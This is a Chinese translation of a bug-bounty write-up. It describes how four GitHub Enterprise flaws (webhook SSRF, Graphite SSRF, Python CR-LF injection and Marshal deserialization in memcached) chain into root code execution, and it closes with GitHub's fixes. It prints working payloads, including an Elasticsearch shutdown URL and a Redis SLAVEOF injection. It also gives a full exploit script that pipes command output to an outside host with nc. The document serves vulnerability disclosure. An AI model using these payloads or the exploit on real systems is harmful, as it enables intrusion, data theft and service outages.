导语:在本文中,我会讲述一下我是如何将在github企业版本发现的四个漏洞组合起来,最后导致命令执行的。这一漏洞也获得了github第三季度漏洞奖金计划的最高报告奖励。
导语
在我上一篇文章中,我提到了以后攻击的新目标-github企业版,同样也提到了如何去除混淆的ruby代码,并在其中寻找sql注入。再次之后,我就开始阅读很多大牛挖掘github企业版的思路,比如:
传送门:
1.http://www.4hou.com/technology/3887.html
2.http://bobao.360.cn/learning/detail/3614.html
通过这些挖掘思路,我非常懊恼当时为啥我没挖到这些洞,因此我决定自己挖到一个很高危的漏洞。
漏洞
在我检查github企业版本的架构时,我的知觉告诉我在这个系统内部一定有很多服务,如果我能够访问到这些服务,那么可能会发现很多有趣的东西。
所以,我现在首要的就是挖掘一个ssrf漏洞。
第一个漏洞:无害的ssrf
当我在测试github企业版本时,发现一个叫做webhook的有趣的函数,当发生特定的git请求时,它可以自定义http回调。
你可以生成一个类似于下方url的回调:
https://<host>/<user>/<repo>/settings/hooks/new
通过提交文件进行触发,因此,github企业版本将通过http请求通知你。payload以及请求如下:
payload:
http://orange.tw/foo.php
回调请求:
POST /foo.php HTTP/1.1 Host: orange.tw Accept: */* User-Agent: GitHub-Hookshot/54651ac X-GitHub-Event: ping X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f content-type: application/x-www-form-urlencoded Content-Length: 8972 payload=...
它会使用ruby gem faraday获取外部资源,并且通过gem faraday-restrict-ip-addresses方法阻止用户访问内部服务。
不过gem似乎是使用黑名单机制进行过滤的,定义的黑名单是通过RFC 3986机制进行规定的,在linux中可以通过0代替localhost,所以我们可以简单的绕过这一过滤禁止,PoC如下:
http://0/
好的,现在我们已经挖掘到了ssrf漏洞,不过我们还是不能做任何事情,为什么呢?
在这里的ssrf中存在很多限制,比如:
1. 只能允许POST方法提交数据 2. 只允许http,https协议 3. 不存在302跳转 4. 在faraday中没有CR-LF注入 5. 不能控制post数据值,以及http访问头。
我们唯一可以做的事情就是控制目录路径。
但是这里的ssrf作用还是有的,它可以进行DoS攻击。
在9200端口绑定了一个Elaticsearch服务,并且Elaticsearch中的shutdown命令不会在意post提交的数据是什么,因此,你可以对它进行关机~
拒绝服务PoC:
http://0:9200/_shutdown/
第二个漏洞:内网中Graphite的ssrf
我们现在已经挖掘到了一个ssrf漏洞,那么我们接下来应该怎么做呢?
下一步继续探索内网中是不是有什么有趣的服务?
这会是一个非常庞大的工作,内网中存在很多http服务,以及每个服务都是基于不同语言实现的,比如:c/c++,python,ruby,go…
通过很多天的探索,我发现内部8000端口有一个名为Graphite的服务。Graphite是一个高度可拓展的实时图形系统。github企业版本通过这一服务对用户显示一些数据。
Graphite是基于python实现的,并且已经开源,地址为:https://github.com/graphite-project/graphite-web
通过审计这一服务的源代码,我又发现了这一服务的ssrf漏洞,这一ssrf漏洞是没有限制的。
在webapps/graohite/composer/views.py中:
def send_email(request): try: recipients = request.GET['to'].split(',') url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() ...
你可以发现Graphite通过捕获用户输入的url,直接访问它。所以我们可以通过获得的第一个ssrf进一步利用第二个获得ssrf,将他们结合形成一个ssrf利用链。
在ssrf利用链payload如下:
http://0:8000/composer/[email protected]&url=http://orange.tw:12345/foo
第二个ssrf的请求如下:
$ nc -vvlp 12345 ... GET /foo HTTP/1.1 Host: orange.tw:12345 Accept-Encoding: identity
现在我们已经将基于POST的ssrf转换为基于GET方法的ssrf。但是还是不能做任何有趣的事情,那么继续吧~
第三个漏洞 python中CR-LF注入
就像你看到的那样,Graphite使用的是httplib.HTTPConnection得到响应源码的。经过一些尝试,我发现了在httplib.HTTPconnection中存在一个CR-LF注入。因此,我们可以在http协议中写入任意payload。
CR-LF 注入PoC:
http://0:8000/composer/[email protected]&url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:
虽然这种攻击看起来并不是很有用,但是为ssrf链可用性带来了巨大的飞跃。举个例子,如果我们需要对redis进行操作,可以使用如下payload:
http://0:8000/composer/send_email? [email protected]& url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A
附:SLAVEOF是一个非常好的命令,你可以使用这一命令进行外部流量管理。当你面对一些Blind-SSRF时,这是一个有用的技巧!
这看起来很棒,但是在这里同样还是有一些限制:
1. 对Mysql,SSL,SSH这样的握手协议失效 2. 由于python2版本的原因,我们发送payload长度必须在0-0x8f字节之间。
顺便说一下,在http中我们可以通过很多方法进行协议调用。在我的幻灯片中,我还展示了如何使用Linux Glibc的功能使用SSL SNI协议,以及绕过python CVE-2016-5699。
第四个漏洞 不安全的反序列化
现在,我们已经有能力在http请求中使用其他协议,那么下一个问题是我们应该使用什么协议呢?
我花了很多时间去了解如果我控制了redis或者Memcached可以触发什么漏洞。
Ruby对象。查阅之后我发现github企业版本使用ruby gem memcached方法去操作缓存,并且缓存由Marshal包装。
这对我来说是一个很好的消息,每个人都知道Marshal是很危险的。(如果你不知道,那我建议你看一下marshaling pickles这一个ppt)
所以,至此为止,我们的目标已经明确。
使用ssrf利用链将恶意ruby对象存储到Memcached.当下一次git得到缓存时,memcached会自动对ruby代码反序列化。最后远程执行代码!
Rails控制台中不安全的Marshal:
irb(main):001:0> GitHub.cache.class.superclass => Memcached::Rails irb(main):002:0> GitHub.cache.set("nogg", "hihihi") => true irb(main):003:0> GitHub.cache.get("nogg") => "hihihi" irb(main):004:0> GitHub.cache.get("nogg", :raw=>true) => "x04bI"vhihihix06:x06ET" irb(main):005:0> code = "`id`" => "`id`" irb(main):006:0> payload = "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":[email protected]" + "o"+":x08ERB"+"x07" + ":[email protected]" + Marshal.dump(code)[2..-1] + ":[email protected]"+ "ix00" + ":[email protected]"+":x0Bresult" => "u0004bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxya:[email protected]:bERBa:[email protected]"t`id`u0006:u0006ET:[email protected]:[email protected]:vresult" irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true) => true irb(main):008:0> GitHub.cache.get("nogg") => "uid=0(root) gid=0(root) groups=0(root)n"
现在我们总结一下攻击步骤:
1. 第一个ssrf-绕过webhook现有的保护 2. 第二个ssrf-获得Graphite服务中的ssrf 3. 将两个ssrf进行嵌套,形成ssrf链 4. ssrf执行链中的CR-LF注入 5. 插入恶意marshal对象 6. 执行代码
利用过程:
最终exp以及视频你可以在gist以及youtube上找到:
#!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "`id | nc orange.tw 12345`" p "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":[email protected]" + "o"+":x08ERB"+"x07" + ":[email protected]" + Marshal.dump(code)[2..-1] + ":[email protected]"+ "ix00" + ":[email protected]"+":x0Bresult" ''' marshal_code = 'x04x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyx07:[email protected]:x08ERBx07:[email protected]"x1e`id | nc orange.tw 12345`x06:x06ET:[email protected]:[email protected]:x0bresult' payload = [ '', 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code), marshal_code, '', '' ] payload = map(quote, payload) url = 'http://0:8000/composer/[email protected]&url=http://127.0.0.1:11211/' print "nGitHub Enterprise < 2.8.7 Remote Code Execution by [email protected]" print '-'*10 + 'n' print url + '%0D%0A'.join(payload) print ''' Inserting WebHooks from: https://ghe-server/:user/:repo/settings/hooks Triggering RCE from: https://ghe-server/search?q=ggggg&type=Repositories
'''
修复
github已经做了一定的修复,以防止相关的问题。
1.增加Gem faraday-restrict-ip-addresses中限制ip地址
2.应用了一个Django中间插件,阻止用户到达http://127.0.0.1:8000/render/以外的地方
3.增强了iptables规则,阻止访问模式的User-Agent: GitHub-Hookshot
$ cat /etc/ufw/before.rules ... -A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset ...